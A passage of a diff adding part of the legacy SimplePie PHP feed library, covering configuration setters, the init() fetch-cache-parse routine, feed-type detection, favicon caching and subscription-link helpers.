+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Credit'))
+		{
+			$this->credit_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:rating>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_rating_class($class = 'SimplePie_Rating')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Rating'))
+		{
+			$this->rating_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:restriction>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_restriction_class($class = 'SimplePie_Restriction')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Restriction'))
+		{
+			$this->restriction_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for content-type sniffing.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Content_Type_Sniffer'))
+		{
+			$this->content_type_sniffer_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses item sources.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_source_class($class = 'SimplePie_Source')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Source'))
+		{
+			$this->source_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to override the default user agent string.
+	 *
+	 * @access public
+	 * @param string $ua New user agent string.
+	 */
+	function set_useragent($ua = SIMPLEPIE_USERAGENT)
+	{
+		$this->useragent = (string) $ua;
+	}
+
+	/**
+	 * Set callback function to create cache filename with
+	 *
+	 * @access public
+	 * @param mixed $function Callback function
+	 */
+	function set_cache_name_function($function = 'md5')
+	{
+		if (is_callable($function))
+		{
+			$this->cache_name_function = $function;
+		}
+	}
+
+	/**
+	 * Set javascript query string parameter
+	 *
+	 * @access public
+	 * @param mixed $get Javascript query string parameter
+	 */
+	function set_javascript($get = 'js')
+	{
+		if ($get)
+		{
+			$this->javascript = (string) $get;
+		}
+		else
+		{
+			$this->javascript = false;
+		}
+	}
+
+	/**
+	 * Set options to make SP as fast as possible.  Forgoes a
+	 * substantial amount of data sanitization in favor of speed.
+	 *
+	 * @access public
+	 * @param bool $set Whether to set them or not
+	 */
+	function set_stupidly_fast($set = false)
+	{
+		if ($set)
+		{
+			$this->enable_order_by_date(false);
+			$this->remove_div(false);
+			$this->strip_comments(false);
+			$this->strip_htmltags(false);
+			$this->strip_attributes(false);
+			$this->set_image_handler(false);
+		}
+	}
+
+	/**
+	 * Set maximum number of feeds to check with autodiscovery
+	 *
+	 * @access public
+	 * @param int $max Maximum number of feeds to check
+	 */
+	function set_max_checked_feeds($max = 10)
+	{
+		$this->max_checked_feeds = (int) $max;
+	}
+
+	function remove_div($enable = true)
+	{
+		$this->sanitize->remove_div($enable);
+	}
+
+	function strip_htmltags($tags = '', $encode = null)
+	{
+		if ($tags === '')
+		{
+			$tags = $this->strip_htmltags;
+		}
+		$this->sanitize->strip_htmltags($tags);
+		if ($encode !== null)
+		{
+			$this->sanitize->encode_instead_of_strip($tags);
+		}
+	}
+
+	function encode_instead_of_strip($enable = true)
+	{
+		$this->sanitize->encode_instead_of_strip($enable);
+	}
+
+	function strip_attributes($attribs = '')
+	{
+		if ($attribs === '')
+		{
+			$attribs = $this->strip_attributes;
+		}
+		$this->sanitize->strip_attributes($attribs);
+	}
+
+	function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->sanitize->set_output_encoding($encoding);
+	}
+
+	function strip_comments($strip = false)
+	{
+		$this->sanitize->strip_comments($strip);
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * @access public
+	 * @since 1.0
+	 * @param array $element_attribute Element/attribute key/value pairs
+	 */
+	function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite'))
+	{
+		$this->sanitize->set_url_replacements($element_attribute);
+	}
+
+	/**
+	 * Set the handler to enable the display of cached favicons.
+	 *
+	 * @access public
+	 * @param str $page Web-accessible path to the handler_favicon.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	function set_favicon_handler($page = false, $qs = 'i')
+	{
+		if ($page != false)
+		{
+			$this->favicon_handler = $page . '?' . $qs . '=';
+		}
+		else
+		{
+			$this->favicon_handler = '';
+		}
+	}
+
+	/**
+	 * Set the handler to enable the display of cached images.
+	 *
+	 * @access public
+	 * @param str $page Web-accessible path to the handler_image.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	function set_image_handler($page = false, $qs = 'i')
+	{
+		if ($page != false)
+		{
+			$this->sanitize->set_image_handler($page . '?' . $qs . '=');
+		}
+		else
+		{
+			$this->image_handler = '';
+		}
+	}
+
+	/**
+	 * Set the limit for items returned per-feed with multifeeds.
+	 *
+	 * @access public
+	 * @param integer $limit The maximum number of items to return.
+	 */
+	function set_item_limit($limit = 0)
+	{
+		$this->item_limit = (int) $limit;
+	}
+
+	function init()
+	{
+		if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
+		{
+			return false;
+		}
+		if (isset($_GET[$this->javascript]))
+		{
+			if (function_exists('ob_gzhandler'))
+			{
+				ob_start('ob_gzhandler');
+			}
+			header('Content-type: text/javascript; charset: UTF-8');
+			header('Cache-Control: must-revalidate');
+			header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+			?>
+function embed_odeo(link) {
+	document.writeln('<embed src="http://odeo.com/flash/audio_player_fullsize.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="440" height="80" wmode="transparent" allowScriptAccess="any" flashvars="valid_sample_rate=true&external_url='+link+'"></embed>');
+}
+
+function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
+	if (placeholder != '') {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+	else {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+}
+
+function embed_flash(bgcolor, width, height, link, loop, type) {
+	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
+}
+
+function embed_flv(width, height, link, placeholder, loop, player) {
+	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
+}
+
+function embed_wmedia(width, height, link) {
+	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
+}
+			<?php
+			exit;
+		}
+
+		// Pass whatever was set with config options over to the sanitizer.
+		$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
+		$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);
+
+		if ($this->feed_url !== null || $this->raw_data !== null)
+		{
+			$this->data = array();
+			$this->multifeed_objects = array();
+			$cache = false;
+
+			if ($this->feed_url !== null)
+			{
+				$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
+				// Decide whether to enable caching
+				if ($this->cache && $parsed_feed_url['scheme'] !== '')
+				{
+					$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
+				}
+				// If it's enabled and we don't want an XML dump, use the cache
+				if ($cache && !$this->xml_dump)
+				{
+					// Load the Cache
+					$this->data = $cache->load();
+					if (!empty($this->data))
+					{
+						// If the cache is for an outdated build of SimplePie
+						if (!isset($this->data['build']) || $this->data['build'] != SIMPLEPIE_BUILD)
+						{
+							$cache->unlink();
+							$this->data = array();
+						}
+						// If we've hit a collision just rerun it with caching disabled
+						elseif (isset($this->data['url']) && $this->data['url'] != $this->feed_url)
+						{
+							$cache = false;
+							$this->data = array();
+						}
+						// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
+						elseif (isset($this->data['feed_url']))
+						{
+							// If the autodiscovery cache is still valid use it.
+							if ($cache->mtime() + $this->autodiscovery_cache_duration > time())
+							{
+								// Do not need to do feed autodiscovery yet.
+								if ($this->data['feed_url'] == $this->data['url'])
+								{
+									$cache->unlink();
+									$this->data = array();
+								}
+								else
+								{
+									$this->set_feed_url($this->data['feed_url']);
+									return $this->init();
+								}
+							}
+						}
+						// Check if the cache has been updated
+						elseif ($cache->mtime() + $this->cache_duration < time())
+						{
+							// If we have last-modified and/or etag set
+							if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag']))
+							{
+								$headers = array();
+								if (isset($this->data['headers']['last-modified']))
+								{
+									$headers['if-modified-since'] = $this->data['headers']['last-modified'];
+								}
+								if (isset($this->data['headers']['etag']))
+								{
+									$headers['if-none-match'] = '"' . $this->data['headers']['etag'] . '"';
+								}
+								$file =& new $this->file_class($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen);
+								if ($file->success)
+								{
+									if ($file->status_code == 304)
+									{
+										$cache->touch();
+										return true;
+									}
+									else
+									{
+										$headers = $file->headers;
+									}
+								}
+								else
+								{
+									unset($file);
+								}
+							}
+						}
+						// If the cache is still valid, just return true
+						else
+						{
+							return true;
+						}
+					}
+					// If the cache is empty, delete it
+					else
+					{
+						$cache->unlink();
+						$this->data = array();
+					}
+				}
+				// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
+				if (!isset($file))
+				{
+					if (is_a($this->file, 'SimplePie_File') && $this->file->url == $this->feed_url)
+					{
+						$file =& $this->file;
+					}
+					else
+					{
+						$file =& new $this->file_class($this->feed_url, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen);
+					}
+				}
+				// If the file connection has an error, set SimplePie::error to that and quit
+				if (!$file->success)
+				{
+					$this->error = $file->error;
+					if (!empty($this->data))
+					{
+						return true;
+					}
+					else
+					{
+						return false;
+					}
+				}
+
+				if (!$this->force_feed)
+				{
+					// Check if the supplied URL is a feed, if it isn't, look for it.
+					$locate =& new $this->locator_class($file, $this->timeout, $this->useragent, $this->file_class, $this->max_checked_feeds, $this->content_type_sniffer_class);
+					if (!$locate->is_feed($file))
+					{
+						// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
+						unset($file);
+						if ($file = $locate->find($this->autodiscovery))
+						{
+							if ($cache)
+							{
+								$this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD);
+								if (!$cache->save($this))
+								{
+									trigger_error("$cache->name is not writeable", E_USER_WARNING);
+								}
+								$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc');
+							}
+							$this->feed_url = $file->url;
+						}
+						else
+						{
+							$this->error = "A feed could not be found at $this->feed_url";
+							SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+							return false;
+						}
+					}
+					$locate = null;
+				}
+
+				$headers = $file->headers;
+				$data = $file->body;
+				$sniffer = new $this->content_type_sniffer_class($file);
+				$sniffed = $sniffer->get_type();
+			}
+			else
+			{
+				$data = $this->raw_data;
+			}
+			
+			// Set up array of possible encodings
+			$encodings = array();
+
+			// First check to see if input has been overridden.
+			if ($this->input_encoding !== false)
+			{
+				$encodings[] = $this->input_encoding;
+			}
+			
+			$application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity');
+			$text_types = array('text/xml', 'text/xml-external-parsed-entity');
+			
+			// RFC 3023 (only applies to sniffed content)
+			if (isset($sniffed))
+			{
+				if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml')
+				{
+					if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+					{
+						$encodings[] = strtoupper($charset[1]);
+					}
+					$encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data));
+					$encodings[] = 'UTF-8';
+				}
+				elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml')
+				{
+					if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+					{
+						$encodings[] = $charset[1];
+					}
+					$encodings[] = 'US-ASCII';
+				}
+				// Text MIME-type default
+				elseif (substr($sniffed, 0, 5) === 'text/')
+				{
+					$encodings[] = 'US-ASCII';
+				}
+			}
+			
+			// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
+			$encodings = array_merge($encodings, SimplePie_Misc::xml_encoding($data));
+			$encodings[] = 'UTF-8';
+			$encodings[] = 'ISO-8859-1';
+			
+			// There's no point in trying an encoding twice
+			$encodings = array_unique($encodings);
+			
+			// If we want the XML, just output that with the most likely encoding and quit
+			if ($this->xml_dump)
+			{
+				header('Content-type: text/xml; charset=' . $encodings[0]);
+				echo $data;
+				exit;
+			}
+			
+			// Loop through each possible encoding, till we return something, or run out of possibilities
+			foreach ($encodings as $encoding)
+			{
+				// Change the encoding to UTF-8 (as we always use UTF-8 internally)
+				$utf8_data = SimplePie_Misc::change_encoding($data, $encoding, 'UTF-8');
+
+				// Create new parser
+				$parser =& new $this->parser_class();
+				
+				// If it's parsed fine
+				if ($parser->parse($utf8_data, 'UTF-8'))
+				{
+					$this->data = $parser->get_data();
+					if (isset($this->data['child']))
+					{
+						if (isset($headers))
+						{
+							$this->data['headers'] = $headers;
+						}
+						$this->data['build'] = SIMPLEPIE_BUILD;
+	
+						// Cache the file if caching is enabled
+						if ($cache && !$cache->save($this))
+						{
+							trigger_error("$cache->name is not writeable", E_USER_WARNING);
+						}
+						return true;
+					}
+					else
+					{
+						$this->error = "A feed could not be found at $this->feed_url";
+						SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+						return false;
+					}
+				}
+			}
+			// We have an error, just set SimplePie::error to it and quit
+			$this->error = sprintf('XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
+			SimplePie_Misc::error($this->error, E_USER_NOTICE, __FILE__, __LINE__);
+			return false;
+		}
+		elseif (!empty($this->multifeed_url))
+		{
+			$i = 0;
+			$success = 0;
+			$this->multifeed_objects = array();
+			foreach ($this->multifeed_url as $url)
+			{
+				if (SIMPLEPIE_PHP5)
+				{
+					// This keyword needs to defy coding standards for PHP4 compatibility
+					$this->multifeed_objects[$i] = clone($this);
+				}
+				else
+				{
+					$this->multifeed_objects[$i] = $this;
+				}
+				$this->multifeed_objects[$i]->set_feed_url($url);
+				$success |= $this->multifeed_objects[$i]->init();
+				$i++;
+			}
+			return (bool) $success;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Return the error message for the occured error
+	 *
+	 * @access public
+	 * @return string Error message
+	 */
+	function error()
+	{
+		return $this->error;
+	}
+
+	function get_encoding()
+	{
+		return $this->sanitize->output_encoding;
+	}
+
+	function handle_content_type($mime = 'text/html')
+	{
+		if (!headers_sent())
+		{
+			$header = "Content-type: $mime;";
+			if ($this->get_encoding())
+			{
+				$header .= ' charset=' . $this->get_encoding();
+			}
+			else
+			{
+				$header .= ' charset=UTF-8';
+			}
+			header($header);
+		}
+	}
+
+	function get_type()
+	{
+		if (!isset($this->data['type']))
+		{
+			$this->data['type'] = SIMPLEPIE_TYPE_ALL;
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF']))
+			{
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_10;
+				}
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_090;
+				}
+			}
+			elseif (isset($this->data['child']['']['rss']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL;
+				if (isset($this->data['child']['']['rss'][0]['attribs']['']['version']))
+				{
+					switch (trim($this->data['child']['']['rss'][0]['attribs']['']['version']))
+					{
+						case '0.91':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091;
+							if (isset($this->data['child']['']['rss'][0]['child']['']['skiphours']['hour'][0]['data']))
+							{
+								switch (trim($this->data['child']['']['rss'][0]['child']['']['skiphours']['hour'][0]['data']))
+								{
+									case '0':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE;
+										break;
+
+									case '24':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND;
+										break;
+								}
+							}
+							break;
+
+						case '0.92':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_092;
+							break;
+
+						case '0.93':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_093;
+							break;
+
+						case '0.94':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_094;
+							break;
+
+						case '2.0':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_20;
+							break;
+					}
+				}
+			}
+			else
+			{
+				$this->data['type'] = SIMPLEPIE_TYPE_NONE;
+			}
+		}
+		return $this->data['type'];
+	}
+
+	/**
+	 * Returns the URL for the favicon of the feed's website.
+	 *
+	 * @todo Cache atom:icon
+	 * @access public
+	 * @since 1.0
+	 */
+	function get_favicon()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif (($url = $this->get_link()) !== null && preg_match('/^http(s)?:\/\//i', $url))
+		{
+			$favicon = SimplePie_Misc::absolutize_url('/favicon.ico', $url);
+
+			if ($this->cache && $this->favicon_handler)
+			{
+				$favicon_filename = call_user_func($this->cache_name_function, $favicon);
+				$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $favicon_filename, 'spi');
+
+				if ($cache->load())
+				{
+					return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI);
+				}
+				else
+				{
+					$file =& new $this->file_class($favicon, $this->timeout / 10, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen);
+
+					if ($file->success && ($file->status_code == 200 || ($file->status_code > 206 && $file->status_code < 300)) && strlen($file->body) > 0)
+					{
+						$sniffer = new $this->content_type_sniffer_class($file);
+						if (substr($sniffer->get_type(), 0, 6) === 'image/')
+						{
+							if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+							{
+								return $this->sanitize($this->favicon_handler . $favicon_filename, SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							else
+							{
+								trigger_error("$cache->name is not writeable", E_USER_WARNING);
+								return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI);
+							}
+						}
+					}
+				}
+			}
+			else
+			{
+				return $this->sanitize($favicon, SIMPLEPIE_CONSTRUCT_IRI);
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * @todo If we have a perm redirect we should return the new URL
+	 * @todo When we make the above change, let's support <itunes:new-feed-url> as well
+	 * @todo Also, |atom:link|@rel=self
+	 */
+	function subscribe_url()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_feed()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_outlook()
+	{
+		if ($this->feed_url !== null)
+		{
+			return 'outlook' . $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 2), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_podcast()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 3), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_itunes()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize(SimplePie_Misc::fix_protocol($this->feed_url, 4), SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Creates the subscribe_* methods' return data
+	 *
+	 * @access private
+	 * @param string $feed_url String to prefix to the feed URL
+	 * @param string $site_url String to prefix to the site URL (and
+	 * suffix to the feed URL)
+	 * @return mixed URL if feed exists, false otherwise
+	 */
+	function subscribe_service($feed_url, $site_url = null)
+	{
+		if ($this->subscribe_url())
+		{
+			$return = $this->sanitize($feed_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->feed_url);
+			if ($site_url !== null && $this->get_link() !== null)
+			{
+				$return .= $this->sanitize($site_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_link());
+			}
+			return $return;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function subscribe_aol()
+	{
+		return $this->subscribe_service('http://feeds.my.aol.com/add.jsp?url=');
+	}
+
+	function subscribe_bloglines()
+	{
+		return urldecode($this->subscribe_service('http://www.bloglines.com/sub/'));
+	}
+
+	function subscribe_eskobo()
+	{
+		return $this->subscribe_service('http://www.eskobo.com/?AddToMyPage=');
+	}
+
+	function subscribe_feedfeeds()
+	{
+		return $this->subscribe_service('http://www.feedfeeds.com/add?feed=');
+	}
+
+	function subscribe_feedster()
+	{
+		return $this->subscribe_service('http://www.feedster.com/myfeedster.php?action=addrss&confirm=no&rssurl=');
+	}
+
+	function subscribe_google()
+	{
+		return $this->subscribe_service('http://fusion.google.com/add?feedurl=');
+	}
+
+	function subscribe_gritwire()
+	{
+		return $this->subscribe_service('http://my.gritwire.com/feeds/addExternalFeed.aspx?FeedUrl=');
+	}
+
+	function subscribe_msn()
+	{
+		return $this->subscribe_service('http://my.msn.com/addtomymsn.armx?id=rss&ut=', '&ru=');
+	}
+
+	function subscribe_netvibes()
+	{
+		return $this->subscribe_service('http://www.netvibes.com/subscribe.php?url=');
+	}
+
+	function subscribe_newsburst()
+	{
+		return $this->subscribe_service('http://www.newsburst.com/Source/?add=');
+	}
+
+	function subscribe_newsgator()
+	{
+		return $this->subscribe_service('http://www.newsgator.com/ngs/subscriber/subext.aspx?url=');
+	}
+
+	function subscribe_odeo()
+	{
+		return $this->subscribe_service('http://www.odeo.com/listen/subscribe?feed=');
+	}
+
+	function subscribe_podnova()
+	{
+		return $this->subscribe_service('http://www.podnova.com/index_your_podcasts.srf?action=add&url=');
+	}
+
+	function subscribe_rojo()
+	{
+		return $this->subscribe_service('http://www.rojo.com/add-subscription?resource=');
+	}
+
+	function subscribe_yahoo()
+	{
+		return $this->subscribe_service('http://add.my.yahoo.com/rss?url=');
+	}
+
+	function get_feed_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_10)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_ATOM_03)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_RDF)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if (isset($this->data['child']['']['rss'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child']['']['rss'][0]['child'][$namespace][$tag];
+			}
+		}
+		return null;
+	}
+
+	function get_channel_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_ALL)
+		{
+			if ($return = $this->get_feed_tags($namespace, $tag))
+			{
+				return $return;
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($channel = $this->get_feed_tags('', 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	function get_image_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($image = $this->get_channel_tags('', 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
